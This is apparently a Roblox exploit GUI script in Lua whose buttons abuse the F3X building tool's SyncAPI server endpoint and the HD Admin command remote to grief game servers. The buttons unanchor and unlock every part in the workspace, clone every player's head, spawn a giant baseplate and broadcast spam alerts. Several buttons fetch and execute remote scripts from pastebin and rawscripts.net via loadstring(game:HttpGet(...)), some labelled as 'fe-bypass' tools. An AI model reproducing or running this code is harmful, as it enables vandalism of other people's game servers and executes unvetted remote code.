[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end
coroutine.wrap(UWOUJV_fake_script)()
local function ZLGQSDL_fake_script() -- t2x2.Script
local script = Instance.new('Script', t2x2)
t2x2.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--HICK SI FINNY!
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function toptexturecreate(part)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture"
}
}
}
_(args)
end
function toptextureadd(part)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture",
["Texture"] = "rbxassetid://0",
["StudsPerTileV"] = 10,
["StudsPerTileU"] = 10
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Color(v,Color3.fromRGB(0,0,0))
toptexturecreate(v)
toptextureadd(v)
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
end
coroutine.wrap(ZLGQSDL_fake_script)()
local function MFXRC_fake_script() -- TOLIT.Script
local script = Instance.new('Script', TOLIT)
TOLIT.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--HICK SI FINNY!
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function ClonePart(part)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = workspace
}
_(args)
end
function clonehead(player)
char = player.Character
ClonePart(char.Head)
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
pcall(function()
clonehead(v)
end)
--end)
end
end)
end
coroutine.wrap(MFXRC_fake_script)()
local function AJNWCX_fake_script() -- solo.Script
local script = Instance.new('Script', solo)
solo.MouseButton1Click:Connect(function() -- Replace with your instance name
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";servermessage REQUIRE COMMUNITY JOIN TODAY") -- U can change all of it with your commands!
RequestCommand:InvokeServer(";alert all REQUIRE COMMUNITY JOIN TODAY")
end)
end
coroutine.wrap(AJNWCX_fake_script)()
local function CSKA_fake_script() -- ama.Script
local script = Instance.new('Script', ama)
ama.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/7iWYPRzJ"))()
end)
end
coroutine.wrap(CSKA_fake_script)()
local function HPOPNN_fake_script() -- kylto.Script
local script = Instance.new('Script', kylto)
kylto.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-k00pgui-v8-F3X-EDITON-52670"))()
end)
end
coroutine.wrap(HPOPNN_fake_script)()
local function QTWSAC_fake_script() -- kyla.Script
local script = Instance.new('Script', kyla)
kyla.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-TrafficConeHax-f3x-gui-v3-fe-bypass-hd-admin-games-72427"))()
end)
end
coroutine.wrap(QTWSAC_fake_script)()
local function CMERDRY_fake_script() -- TextButton_2.Script
local script = Instance.new('Script', TextButton_2)
TextButton.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-z00kiddl-f3x-gui-leak-by-mango-and-koopusers-68979"))()
end)
end
coroutine.wrap(CMERDRY_fake_script)()
local function QYYARVA_fake_script() -- TextButton1.Script
local script = Instance.new('Script', TextButton1)
TextButton1.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/0C4fHWcm"))()
end)
end
coroutine.wrap(QYYARVA_fake_script)()
local function BTXSD_fake_script() -- ScrollingFrame.Smooth GUI Dragging
local script = Instance.new('LocalScript', ScrollingFrame)
local UserInputService = game:GetService("UserInputService")
local runService = (game:GetService("RunService"));
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
function Lerp(a, b, m)
return a + (b - a) * m
end;
local lastMousePos
local lastGoalPos
local DRAG_SPEED = (8); -- // The speed of the UI darg.
function Update(dt)
if not (startPos) then return end;
if not (dragging) and (lastGoalPos) then
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
return
end;
local delta = (lastMousePos - UserInputService:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X);
local yGoal = (startPos.Y.Offset - delta.Y);
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
end;
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
lastMousePos = UserInputService:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
runService.Heartbeat:Connect(Update)
end
coroutine.wrap(BTXSD_fake_script)()



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has nuked
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